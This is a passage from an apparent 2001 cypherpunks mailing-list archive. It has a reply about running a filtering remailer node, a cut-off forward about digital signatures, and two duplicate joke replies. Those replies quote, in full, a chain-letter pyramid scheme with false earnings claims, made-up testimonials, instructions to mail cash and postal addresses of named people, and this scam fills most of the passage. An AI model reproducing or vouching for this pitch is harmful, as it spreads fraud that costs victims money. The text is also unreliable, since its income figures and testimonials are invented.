On Sat, Feb 17, 2001 at 12:06:13PM -0800, Tim May wrote:

[..]

> A more interesting downstream filter service would be something 
> operated as an automated site, like another CDR node, except that it 
> automatically filters out nonsubscribers to one of the main lists. 
> (This requires no cooperation with the other CDR nodes, provided the 
> whois function can retrieve their subscribers.)


I have been meaning to do this for a while.
I need some help from the existing CDR node operators though so
that my node can get the subscriber lists from theirs- a number of
CDR nodes don't have open who commands.
Could y'all contact me off-list?


> If one of you folks out  there does this--sets up this kind of 
> low-latency filtering of nonsubscribers, plus inclusion of anonymous 
> or remailed or ZKS/Mojo-type posts--then I will subscribe to your 
> service.

I'll post to the entire list once I get it running.

> A more ambitious approach might give options for filtering, at a 
> fairly coarse granularity. Not individual posters, but, say, "Don't 
> pass on any traffic from toad.com."

I'll probably also add my spam-recognition stuff, which sticks
a rating of the likelyhood of the contents being spam in the headers.
(i.e. X-spam: 100).  It doesn't drop the mail, just rate it.
What recipients do with the information will of course be
up to them.

> (Choate can presumably be counted on to start foaming about how I am 
> proposing censorship and that if I would like such a service I should 
> build one myself. Happily, I won't see his foamings.)

SSZ's CDR web page (einstein.ssz.com/cdr/index.html#) says:

<The idea was to have multiple remailers, usualy using majordomo and
<procmail, that members could subscribe to and individual remailer
<operators could impose just about whatever type of moderation policy
<they desired.

which is what I'm doing here.  


-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




From jfanonymous at yahoo.com  Sat Feb 17 15:03:23 2001
From: jfanonymous at yahoo.com (J.F. Anonymous)
Date: Sat, 17 Feb 2001 15:03:23 -0800 (PST)
Subject: Its Your Turn...
In-Reply-To: <564.514204.149551@mailer1.mail.com>
Message-ID: <20010217230323.54691.qmail@web5406.mail.yahoo.com>


It's my turn!

/me picks up a bat and konks ya over the head with it.
:)

--- hrandolf at itio.net wrote:
> Dear Friends & Future Millionaire: 
> 
> AS SEEN ON NATIONAL TV: 
> Making over half million dollars every 4 to 5 months
> right from 
> your home !! 
> THANK'S TO THE COMPUTER AGE AND THE INTERNET ! 
> ================================================== 
> BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 
> Before you say ''Bull'', please read the following.
> This is the 
> letter you have been hearing about on the news
> lately. Due to the 
> popularity of this letter on the Internet, a
> national weekly news 
> program recently devoted an entire show to the
> investigation of 
> this program described below, to see if it really
> can make people 
> money. The show also investigated whether or not the
> program was 
> legal. Their findings proved once and for all that
> there are 
> ''absolutely NO Laws prohibiting the participation
> in the program 
> and if people can -follow the simple instructions,
> they are bound 
> to make some mega bucks with only $25 out of pocket
> cost''. DUE 
> TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS
> PROGRAM HAS 
> ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. 
> This is what one had to say: ''Thanks to this
> profitable 
> opportunity. I was approached many times before but
> each time I 
> passed on it. I am so gladI finally joined just to
> see what one 
> could expect in return for the minimal effort and
> money required. 
> To my astonishment, I received total $610,470.00 in
> 21 weeks, 
> with money still coming in." Pam Hedland, Fort Lee,
> New Jersey. 
> =================================================== 
> Here is another testimonial: "This program has been
> around for a 
> long time but I never believed in it. But one day
> when I received 
> this again in the mail I decided to gamble my $25 on
> it. I 
> followed the simple instructions and walaa ..... 3
> weeks later 
> the money started to come in. First month I only
> made $240.00 but 
> the next 2 months after that I made a total of
> $290,000.00. So 
> far, in the past 8 months by re-entering the
> program, I have made 
> over $710,000.00 and I am playing it again. The key
> to success in 
> this program is to follow the simple steps and NOT
> change 
> anything.'' More testimonials later but first, 
> ===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ======
> 
>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
> 
> If you would like to make at least $500,000 every 4
> to 5 months 
> easily and comfortably, please read the
> following...THEN READ IT 
> AGAIN and AGAIN!!! 
>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
> 
> FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
> FINANCIAL 
> DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: 
> =====Order all 5 reports shown on the list below
> ===== 
> For each report, send $5 CASH, THE NAME & NUMBER OF
> THE REPORT 
> YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the
> person whose 
> name appears ON THAT LIST next to the report. MAKE
> SURE YOUR 
> RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER
> in case of any 
> mail problems. 
> === When you place your order, make sure you order
> each of the 5 
> reports. You will need all 5 reports so that you can
> save them on 
> your computer and resell them. YOUR TOTAL COST $5 X
> 5=$25.00. 
> Within a few days you will receive, vie e-mail, each
> of the 5 
> reports from these 5 different individuals. Save
> them on your 
> computer so they will be accessible for you to send
> to the 
> 1,000's of people who will order them from you. Also
> make a 
> floppy of these reports and keep it on your desk in 
> case something happen to your computer. 
> IMPORTANT - DO NOT alter the names of the people who
> are listed 
> next to each report, or their sequence on the list,
> in any way 
> other than what is instructed below in step '' 1
> through 6 '' or 
> you will loose out on majority of your profits. Once
> you 
> understand the way this works, you will also see 
> how it does not work if you change it. Remember,
> this method has 
> been tested, and if you alter, it will NOT work !!!
> People have 
> tried to put their friends/relatives names on all
> five thinking 
> they could get all the money. But it does not work
> this way. 
> Believe us, we all have tried to be greedy and then 
> nothing happened. So Do Not try to change anything
> other than 
> what is instructed. Because if you do, it will not
> work for you. 
> Remember, honesty reaps the reward!!! 
> 1.... After you have ordered all 5 reports, take
> this 
> advertisement and REMOVE the name & address of the
> person in 
> REPORT # 5. This person has made it through the
> cycle and is no 
> doubt counting their fortune. 
> 2.... Move the name & address in REPORT # 4 down TO
> REPORT # 5. 
> 3.... Move the name & address in REPORT # 3 down TO
> REPORT # 4. 
> 4.... Move the name & address in REPORT # 2 down TO
> REPORT # 3. 
> 5.... Move the name & address in REPORT # 1 down TO
> REPORT # 2 
> 6.... Insert YOUR name & address in the REPORT # 1
> Position. 
> PLEASE MAKE SURE you copy every name & address
> ACCURATELY! 
>
==========================================================
> 
> **** Take this entire letter, with the modified list
> of names, 
> and save it on your computer. DO NOT MAKE ANY OTHER
> CHANGES. 
> Save this on a disk as well just in case if you
> loose any data. 
> To assist you with marketing your business on the
> internet, the 5 
> reports you purchase will provide you with
> invaluable marketing 
> information which includes how to send bulk e-mails
> legally, 
> where to find thousands of free classified ads and
> much more. 
> There are 2 Primary methods to get this venture
> going: 
> METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
>
==========================================================
> 
> Let's say that you decide to start small, just to
> see how it 
> goes, and we will assume You and those involved send
> out only 
> 5,000 e-mails each. Let's also assume that the
> mailing receive 
> only a 0.2% response (the response could be much
> better but lets 
> just say it is only 0.2%. Also many people will send
> out hundreds 
> of thousands e-mails instead of only 5,000 each). 
> Continuing with this example, you send out only
> 5,000 e-mails. 
> With a 0.2% response, that is only 10 orders for
> report # 1. 
> Those 10 people responded by sending out 5,000
> e-mail each for a 
> total of 50,000. Out of those 50,000 e-mails only
> 0.2% responded 
> with orders. That's=100 people responded and ordered
> Report # 2. 
> Those 100 people mail out 5,000 e-mails each for a
> total of 
> 500,000 e-mails. The 0.2% response to that is 1000
> orders for 
> Report # 3. Those 1000 people send out 5,000 e-mails
> each for a 
> total of 5 million e-mails sent out. The 0.2%
> response to that is 
> 10,000 orders for Report # 4. Those 10,000 people
> send out 5,000 
> e-mails each for a total of 50,000,000 (50 million)
> e-mails. The 
> 0.2% response to that is 100,000 orders for Report #
> 5 THAT'S 
> 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half
> million). 
> Your total income in this example is: 1..... $50 +
> 2..... $500 + 
> 3..... $5,000 + 4 .... $50,000 + 5..... $500,000
> ........ Grand 
> Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL &
> PAPER AND 
> FIGUREOUT THE WORST POSSIBLE RESPONSES AND NO MATTER
> HOW YOU 
> CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY ! 
>
=========================================================
> 
> REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE 
> ORDERING OUT OF 5,000 YOU MAILED TO. 
> Dare to think for a moment what would happen if
> everyone or half 
> or even one 4th of those people mailed
> 100,000e-mails each or 
> more? There are over 150 million people on the
> Internet worldwide 
> and counting. Believe me, many people will do just
> that, and 
> more! 
> METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
>
=======================================================
> 
> Advertising on the net is very very inexpensive and
> there are 
> hundreds of FREE places to advertise. Placing a lot
> of free ads 
> on the Internet will easily get a larger response.
> We strongly 
> suggest you start with Method # 1 and dd METHOD # 2
> as you go 
> along. For every $5 you receive, all you must do is
> e-mail them 
> the Report they ordered. That's it. Always provide
> same day 
> service on all orders. This will guarantee that the
> e-mail they 
> send out, with your name and address on it, will be
> prompt 
> because they can not advertise until they receivethe
> report. 
> =========== AVAILABLE REPORTS ==================== 
> ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: 
> Always send $5 cash (U.S. CURRENCY) for each Report.
> Checks NOT 
> accepted. Make sure the cash is concealed by
> wrapping it in at 
> least 2 sheets of paper. On one of those sheets of
> paper, Write 
> the NUMBER & the NAME of the Report you are
> ordering, YOUR E-MAIL 
> ADDRESS and your name and postal address. 
> PLACE YOUR ORDER FOR THESE REPORTS NOW : 
> ====================================================
> 
> REPORT # 1: "The Insider's Guide to Advertising for
> Free on the 
> Net" Order Report #1 from: 
> 
> S. Cranke
> 1503-1500 Walkley Rd
> Ottawa, ON
> K1V 0H8 
> Canada
>
___________________________________________________________
> 
> REPORT # 2: "The Insider's Guide to Sending Bulk
> e-mail on the 
> Net" Order Report # 2 from: 
> 
> T. Richardson
> P.O. Box 753
> Richland, MO. 65556
> USA 
>
____________________________________________________________
> 
> REPORT # 3: "Secret to Multilevel Marketing on the
> Net" 
> Order Report # 3 from : 
> 
> C.J. Kalata 
> P.O. Box 130157 
> Roseville, MN 55113-0002 
> USA 
>
____________________________________________________________
> 
> REPORT # 4: "How to Become a Millionaire Utilizing
> MLM & the Net" 
> Order Report # 4 from:
> 
> R. B. 
> Box. 21115, 
> Grande Prairie 
> Alberta, T8V-6W7 
> Canada 
>
____________________________________________________________
> 
> REPORT #5: "How to Send Out 0ne Million e-mails for
> Free" 
> Order Report # 5 from: 
> 
> B. Taylor 
> P.O.Box 26001 
> Fredericton, N.B. 
> E3A 5V8 
> Canada
>
_____________________________________________________________
> 
> $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 
> Follow these guidelines to guarantee your success: 
> === If you do not receive at least 10 orders for
> Report #1 within 
> 2 weeks, continue sending e-mails until you do. 
> === After you have received 10 orders, 2 to 3 weeks
> after that 
> you should receive 100 orders or more for REPORT #
> 2. If you did 
> not, continue advertising or sending e-mails until
> you do. 
> === Once you have received 100 or more orders for
> Report # 2, YOU 
> CAN RELAX, because the system is already working for
> you, and the 
> cash will continue to roll in ! THIS IS IMPORTANT TO
> REMEMBER: 
> Every time your name is moved down on the list, you
> are placed in 
> front of a Different report. 
> You can KEEP TRACK of your PROGRESS by watching
> which report 
> people are ordering from you. IF YOU WANT TO
> GENERATE MORE 
> INCOME SEND ANOTHER BATCH OF E-MAILS AND START 
> THE WHOLE PROCESS AGAIN. 
> There is NO LIMIT to the income you can generate
> from this 
> business !!! 
>
======================================================
> 
> FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS 
> PROGRAM: You have just received information that can
> give you 
> financial freedom for the rest of your life, with NO
> RISK and 
> JUST A LITTLE BIT OF EFFORT. You can make more money
> in the next 
> few weeks and months than you have ever imagined.
> Follow the 
> program EXACTLY AS INSTRUCTED. Do Not change it in
> any way. It 
> works exceedingly well as it is now. 
> Remember to e-mail a copy of this exciting report
> after you have 
> put your name and address in Report #1 and moved
> others to #2 
> ..........# 5 
> as instructed above. One of the people you send this
> to may send 
> out 100,000 or more e-mails and your name will be on
> every one of 
> them. Remember though, the more you send out the
> more potential 
> customers you will reach. 
> So my friend, I have given you the ideas,
> information, materials 
> and opportunity to become financially independent.
> IT IS UP TO 
> YOU NOW ! 
> ============ MORE TESTIMONIALS ================ 
> "My name is Mitchell. My wife, Jody and I live in
> Chicago. I am 
> an accountant with a major U.S. Corporation and I
> make pretty 
> good money. When I received this program I grumbled
> to 
> Jodyaboutreceiving ''junk mail''. I made fun of the
> whole 
> thing,spoutingmy knowledge of the population and
> percentages 
> involved. I ''knew'' it wouldn't work. Jody totally
> ignored 
> my supposed intelligence and few days later she
> jumped in with 
> both feet. I made merciless fun of her, and was
> ready to lay the 
> old ''I told you so'' on her when the thing didn't
> work. Well, 
> the laugh was on me! Within 3 weeks she had received
> 50 
> responses. Within the next 45 days she had received
> total $ 
> 147,200.00 ........... all cash! I was shocked. I
> have joined 
> Jody in her ''hobby''. Mitchell Wolf M.D., Chicago,
> Illinois 
>
======================================================
> 
> ''Not being the gambling type, it took me several
> weeks to make 
> up my mind to participate in this plan. But
> conservative that I 
> am, I decided that the initial investment was so
> little that 
> there was just no way that I wouldn't get enough
> orders to at 
> least get my money back''. '' I was surprised when I
> found my 
> medium size post office box crammed with orders. I
> made 
> $319,210.00in the first 12 weeks. The nice thing
> about this deal 
> is that it does not matter where people live. There
> simply isn't 
> a better investment with a faster return and so
> big." 
> Dan Sondstrom, Alberta, Canada 
>
=======================================================
> 
> ''I had received this program before. I deleted it,
> but later I 
> wondered if I should have given it a try. Of course,
> I had no 
> idea who to contact to get another copy, so I had to
> wait until I 
> was e-mailed again by someone else.........11 months
> passed then 
> it luckily came again...... I did not delete this
> one! I made 
> more than $490,000 on my first try and all the money
> came within 
> 22 weeks." Susan De Suza, New York, N.Y. 
>
=======================================================
> 
> ''It really is a great opportunity to make
> relatively easy money 
> with little cost to you. I followed the simple
> instructions 
> carefully and within 10 days the money started to
> come in. My 
> first month I made $20,560.00 and by the end of
> third month my 
> total cash count was $362,840.00. Life is beautiful,
> Thanx to 
> internet.". Fred Dellaca, Westport, New Zealand 
>
=======================================================
> 
> ORDER YOUR REPORTS TODAY AND GET STARTED ON 
> 'YOUR' ROAD TO FINANCIAL FREEDOM ! 
>
=======================================================
> 
> If you have any questions of the legality of this
> program, 
> contact the Office of Associate Director for
> Marketing Practices, 
> Federal Trade Commission, Bureau of Consumer
> Protection, 
> Washington, D.C. 
>  
>  
>  
>  
>  
>  


=====
jfanonymous at yahoo.com
ICQ# 81118154
My website:
http://www.geocities.com/jfanonymous/
Join the Blue Ribbon Online Free Speech Campaign at
http://www.eff.org/blueribbon.html Help us fight censorship!

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail - only $35 
a year!  http://personal.mail.yahoo.com/




From jfanonymous at yahoo.com  Sat Feb 17 15:03:29 2001
From: jfanonymous at yahoo.com (J.F. Anonymous)
Date: Sat, 17 Feb 2001 15:03:29 -0800 (PST)
Subject: Its Your Turn...
In-Reply-To: <564.514204.149551@mailer1.mail.com>
Message-ID: <20010217230329.28446.qmail@web5409.mail.yahoo.com>


It's my turn!

/me picks up a bat and konks ya over the head with it.
:)

--- hrandolf at itio.net wrote:
> Dear Friends & Future Millionaire: 
> 
> AS SEEN ON NATIONAL TV: 
> Making over half million dollars every 4 to 5 months
> right from 
> your home !! 
> THANK'S TO THE COMPUTER AGE AND THE INTERNET ! 
> ================================================== 
> BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 
> Before you say ''Bull'', please read the following.
> This is the 
> letter you have been hearing about on the news
> lately. Due to the 
> popularity of this letter on the Internet, a
> national weekly news 
> program recently devoted an entire show to the
> investigation of 
> this program described below, to see if it really
> can make people 
> money. The show also investigated whether or not the
> program was 
> legal. Their findings proved once and for all that
> there are 
> ''absolutely NO Laws prohibiting the participation
> in the program 
> and if people can -follow the simple instructions,
> they are bound 
> to make some mega bucks with only $25 out of pocket
> cost''. DUE 
> TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS
> PROGRAM HAS 
> ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER. 
> This is what one had to say: ''Thanks to this
> profitable 
> opportunity. I was approached many times before but
> each time I 
> passed on it. I am so gladI finally joined just to
> see what one 
> could expect in return for the minimal effort and
> money required. 
> To my astonishment, I received total $610,470.00 in
> 21 weeks, 
> with money still coming in." Pam Hedland, Fort Lee,
> New Jersey. 
> =================================================== 
> Here is another testimonial: "This program has been
> around for a 
> long time but I never believed in it. But one day
> when I received 
> this again in the mail I decided to gamble my $25 on
> it. I 
> followed the simple instructions and walaa ..... 3
> weeks later 
> the money started to come in. First month I only
> made $240.00 but 
> the next 2 months after that I made a total of
> $290,000.00. So 
> far, in the past 8 months by re-entering the
> program, I have made 
> over $710,000.00 and I am playing it again. The key
> to success in 
> this program is to follow the simple steps and NOT
> change 
> anything.'' More testimonials later but first, 
> ===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ======
> 
>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
> 
> If you would like to make at least $500,000 every 4
> to 5 months 
> easily and comfortably, please read the
> following...THEN READ IT 
> AGAIN and AGAIN!!! 
>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
> 
> FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
> FINANCIAL 
> DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: 
> =====Order all 5 reports shown on the list below
> ===== 
> For each report, send $5 CASH, THE NAME & NUMBER OF
> THE REPORT 
> YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the
> person whose 
> name appears ON THAT LIST next to the report. MAKE
> SURE YOUR 
> RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER
> in case of any 
> mail problems. 
> === When you place your order, make sure you order
> each of the 5 
> reports. You will need all 5 reports so that you can
> save them on 
> your computer and resell them. YOUR TOTAL COST $5 X
> 5=$25.00. 
> Within a few days you will receive, vie e-mail, each
> of the 5 
> reports from these 5 different individuals. Save
> them on your 
> computer so they will be accessible for you to send
> to the 
> 1,000's of people who will order them from you. Also
> make a 
> floppy of these reports and keep it on your desk in 
> case something happen to your computer. 
> IMPORTANT - DO NOT alter the names of the people who
> are listed 
> next to each report, or their sequence on the list,
> in any way 
> other than what is instructed below in step '' 1
> through 6 '' or 
> you will loose out on majority of your profits. Once
> you 
> understand the way this works, you will also see 
> how it does not work if you change it. Remember,
> this method has 
> been tested, and if you alter, it will NOT work !!!
> People have 
> tried to put their friends/relatives names on all
> five thinking 
> they could get all the money. But it does not work
> this way. 
> Believe us, we all have tried to be greedy and then 
> nothing happened. So Do Not try to change anything
> other than 
> what is instructed. Because if you do, it will not
> work for you. 
> Remember, honesty reaps the reward!!! 
> 1.... After you have ordered all 5 reports, take
> this 
> advertisement and REMOVE the name & address of the
> person in 
> REPORT # 5. This person has made it through the
> cycle and is no 
> doubt counting their fortune. 
> 2.... Move the name & address in REPORT # 4 down TO
> REPORT # 5. 
> 3.... Move the name & address in REPORT # 3 down TO
> REPORT # 4. 
> 4.... Move the name & address in REPORT # 2 down TO
> REPORT # 3. 
> 5.... Move the name & address in REPORT # 1 down TO
> REPORT # 2 
> 6.... Insert YOUR name & address in the REPORT # 1
> Position. 
> PLEASE MAKE SURE you copy every name & address
> ACCURATELY! 
>
==========================================================
> 
> **** Take this entire letter, with the modified list
> of names, 
> and save it on your computer. DO NOT MAKE ANY OTHER
> CHANGES. 
> Save this on a disk as well just in case if you
> loose any data. 
> To assist you with marketing your business on the
> internet, the 5 
> reports you purchase will provide you with
> invaluable marketing 
> information which includes how to send bulk e-mails
> legally, 
> where to find thousands of free classified ads and
> much more. 
> There are 2 Primary methods to get this venture
> going: 
> METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
>
==========================================================
> 
> Let's say that you decide to start small, just to
> see how it 
> goes, and we will assume You and those involved send
> out only 
> 5,000 e-mails each. Let's also assume that the
> mailing receive 
> only a 0.2% response (the response could be much
> better but lets 
> just say it is only 0.2%. Also many people will send
> out hundreds 
> of thousands e-mails instead of only 5,000 each). 
> Continuing with this example, you send out only
> 5,000 e-mails. 
> With a 0.2% response, that is only 10 orders for
> report # 1. 
> Those 10 people responded by sending out 5,000
> e-mail each for a 
> total of 50,000. Out of those 50,000 e-mails only
> 0.2% responded 
> with orders. That's=100 people responded and ordered
> Report # 2. 
> Those 100 people mail out 5,000 e-mails each for a
> total of 
> 500,000 e-mails. The 0.2% response to that is 1000
> orders for 
> Report # 3. Those 1000 people send out 5,000 e-mails
> each for a 
> total of 5 million e-mails sent out. The 0.2%
> response to that is 
> 10,000 orders for Report # 4. Those 10,000 people
> send out 5,000 
> e-mails each for a total of 50,000,000 (50 million)
> e-mails. The 
> 0.2% response to that is 100,000 orders for Report #
> 5 THAT'S 
> 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half
> million). 
> Your total income in this example is: 1..... $50 +
> 2..... $500 + 
> 3..... $5,000 + 4 .... $50,000 + 5..... $500,000
> ........ Grand 
> Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL &
> PAPER AND 
> FIGUREOUT THE WORST POSSIBLE RESPONSES AND NO MATTER
> HOW YOU 
> CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY ! 
>
=========================================================
> 
> REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE 
> ORDERING OUT OF 5,000 YOU MAILED TO. 
> Dare to think for a moment what would happen if
> everyone or half 
> or even one 4th of those people mailed
> 100,000e-mails each or 
> more? There are over 150 million people on the
> Internet worldwide 
> and counting. Believe me, many people will do just
> that, and 
> more! 
> METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
>
=======================================================
> 
> Advertising on the net is very very inexpensive and
> there are 
> hundreds of FREE places to advertise. Placing a lot
> of free ads 
> on the Internet will easily get a larger response.
> We strongly 
> suggest you start with Method # 1 and dd METHOD # 2
> as you go 
> along. For every $5 you receive, all you must do is
> e-mail them 
> the Report they ordered. That's it. Always provide
> same day 
> service on all orders. This will guarantee that the
> e-mail they 
> send out, with your name and address on it, will be
> prompt 
> because they can not advertise until they receivethe
> report. 
> =========== AVAILABLE REPORTS ==================== 
> ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: 
> Always send $5 cash (U.S. CURRENCY) for each Report.
> Checks NOT 
> accepted. Make sure the cash is concealed by
> wrapping it in at 
> least 2 sheets of paper. On one of those sheets of
> paper, Write 
> the NUMBER & the NAME of the Report you are
> ordering, YOUR E-MAIL 
> ADDRESS and your name and postal address. 
> PLACE YOUR ORDER FOR THESE REPORTS NOW : 
> ====================================================
> 
> REPORT # 1: "The Insider's Guide to Advertising for
> Free on the 
> Net" Order Report #1 from: 
> 
> S. Cranke
> 1503-1500 Walkley Rd
> Ottawa, ON
> K1V 0H8 
> Canada
>
___________________________________________________________
> 
> REPORT # 2: "The Insider's Guide to Sending Bulk
> e-mail on the 
> Net" Order Report # 2 from: 
> 
> T. Richardson
> P.O. Box 753
> Richland, MO. 65556
> USA 
>
____________________________________________________________
> 
> REPORT # 3: "Secret to Multilevel Marketing on the
> Net" 
> Order Report # 3 from : 
> 
> C.J. Kalata 
> P.O. Box 130157 
> Roseville, MN 55113-0002 
> USA 
>
____________________________________________________________
> 
> REPORT # 4: "How to Become a Millionaire Utilizing
> MLM & the Net" 
> Order Report # 4 from:
> 
> R. B. 
> Box. 21115, 
> Grande Prairie 
> Alberta, T8V-6W7 
> Canada 
>
____________________________________________________________
> 
> REPORT #5: "How to Send Out 0ne Million e-mails for
> Free" 
> Order Report # 5 from: 
> 
> B. Taylor 
> P.O.Box 26001 
> Fredericton, N.B. 
> E3A 5V8 
> Canada
>
_____________________________________________________________
> 
> $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 
> Follow these guidelines to guarantee your success: 
> === If you do not receive at least 10 orders for
> Report #1 within 
> 2 weeks, continue sending e-mails until you do. 
> === After you have received 10 orders, 2 to 3 weeks
> after that 
> you should receive 100 orders or more for REPORT #
> 2. If you did 
> not, continue advertising or sending e-mails until
> you do. 
> === Once you have received 100 or more orders for
> Report # 2, YOU 
> CAN RELAX, because the system is already working for
> you, and the 
> cash will continue to roll in ! THIS IS IMPORTANT TO
> REMEMBER: 
> Every time your name is moved down on the list, you
> are placed in 
> front of a Different report. 
> You can KEEP TRACK of your PROGRESS by watching
> which report 
> people are ordering from you. IF YOU WANT TO
> GENERATE MORE 
> INCOME SEND ANOTHER BATCH OF E-MAILS AND START 
> THE WHOLE PROCESS AGAIN. 
> There is NO LIMIT to the income you can generate
> from this 
> business !!! 
>
======================================================
> 
> FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS 
> PROGRAM: You have just received information that can
> give you 
> financial freedom for the rest of your life, with NO
> RISK and 
> JUST A LITTLE BIT OF EFFORT. You can make more money
> in the next 
> few weeks and months than you have ever imagined.
> Follow the 
> program EXACTLY AS INSTRUCTED. Do Not change it in
> any way. It 
> works exceedingly well as it is now. 
> Remember to e-mail a copy of this exciting report
> after you have 
> put your name and address in Report #1 and moved
> others to #2 
> ..........# 5 
> as instructed above. One of the people you send this
> to may send 
> out 100,000 or more e-mails and your name will be on
> every one of 
> them. Remember though, the more you send out the
> more potential 
> customers you will reach. 
> So my friend, I have given you the ideas,
> information, materials 
> and opportunity to become financially independent.
> IT IS UP TO 
> YOU NOW ! 
> ============ MORE TESTIMONIALS ================ 
> "My name is Mitchell. My wife, Jody and I live in
> Chicago. I am 
> an accountant with a major U.S. Corporation and I
> make pretty 
> good money. When I received this program I grumbled
> to 
> Jodyaboutreceiving ''junk mail''. I made fun of the
> whole 
> thing,spoutingmy knowledge of the population and
> percentages 
> involved. I ''knew'' it wouldn't work. Jody totally
> ignored 
> my supposed intelligence and few days later she
> jumped in with 
> both feet. I made merciless fun of her, and was
> ready to lay the 
> old ''I told you so'' on her when the thing didn't
> work. Well, 
> the laugh was on me! Within 3 weeks she had received
> 50 
> responses. Within the next 45 days she had received
> total $ 
> 147,200.00 ........... all cash! I was shocked. I
> have joined 
> Jody in her ''hobby''. Mitchell Wolf M.D., Chicago,
> Illinois 
>
======================================================
> 
> ''Not being the gambling type, it took me several
> weeks to make 
> up my mind to participate in this plan. But
> conservative that I 
> am, I decided that the initial investment was so
> little that 
> there was just no way that I wouldn't get enough
> orders to at 
> least get my money back''. '' I was surprised when I
> found my 
> medium size post office box crammed with orders. I
> made 
> $319,210.00in the first 12 weeks. The nice thing
> about this deal 
> is that it does not matter where people live. There
> simply isn't 
> a better investment with a faster return and so
> big." 
> Dan Sondstrom, Alberta, Canada 
>
=======================================================
> 
> ''I had received this program before. I deleted it,
> but later I 
> wondered if I should have given it a try. Of course,
> I had no 
> idea who to contact to get another copy, so I had to
> wait until I 
> was e-mailed again by someone else.........11 months
> passed then 
> it luckily came again...... I did not delete this
> one! I made 
> more than $490,000 on my first try and all the money
> came within 
> 22 weeks." Susan De Suza, New York, N.Y. 
>
=======================================================
> 
> ''It really is a great opportunity to make
> relatively easy money 
> with little cost to you. I followed the simple
> instructions 
> carefully and within 10 days the money started to
> come in. My 
> first month I made $20,560.00 and by the end of
> third month my 
> total cash count was $362,840.00. Life is beautiful,
> Thanx to 
> internet.". Fred Dellaca, Westport, New Zealand 
>
=======================================================
> 
> ORDER YOUR REPORTS TODAY AND GET STARTED ON 
> 'YOUR' ROAD TO FINANCIAL FREEDOM ! 
>
=======================================================
> 
> If you have any questions of the legality of this
> program, 
> contact the Office of Associate Director for
> Marketing Practices, 
> Federal Trade Commission, Bureau of Consumer
> Protection, 
> Washington, D.C. 
>  
>  
>  
>  
>  
>  


=====
jfanonymous at yahoo.com
ICQ# 81118154
My website:
http://www.geocities.com/jfanonymous/
Join the Blue Ribbon Online Free Speech Campaign at
http://www.eff.org/blueribbon.html Help us fight censorship!

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail - only $35 
a year!  http://personal.mail.yahoo.com/




From adskada at amcham.com.br  Sat Feb 17 16:15:09 2001
From: adskada at amcham.com.br (adskada at amcham.com.br)
Date: Sat, 17 Feb 2001 16:15:09
Subject: No subject
Message-ID: <252.403327.368865@mail.wpgsun.com>


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From ravage at EINSTEIN.ssz.com  Sat Feb 17 16:33:04 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 18:33:04 -0600 (CST)
Subject: maybe digital signatures won't be the next big thing after all (fwd)
Message-ID: <Pine.LNX.3.96.1010217183300.5925P-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 12 Feb 2001 13:12:48 -0500
From: "R. A. Hettinga" <rah at shipwright.com>
To: Digital Bearer Settlement List <dbs at philodox.com>, dcsb at ai.mit.edu,
    tbtf-irregulars at world.std.com, cryptography at c2.net
Cc: Jane Winn <jwinn at post.cis.smu.edu>
Subject: maybe digital signatures won't be the next big thing after all

Jane, if this crew of folks, see above, can't do you justice, nobody can.

Everyone, Jane is about my favorite cryptography/"signature" lawyer, mostly
because she, like most people with sense, aren't sure they're "signatures"
at all...

Cheers,
RAH

--- begin forwarded text



From ravage at einstein.ssz.com  Sat Feb 17 16:33:18 2001
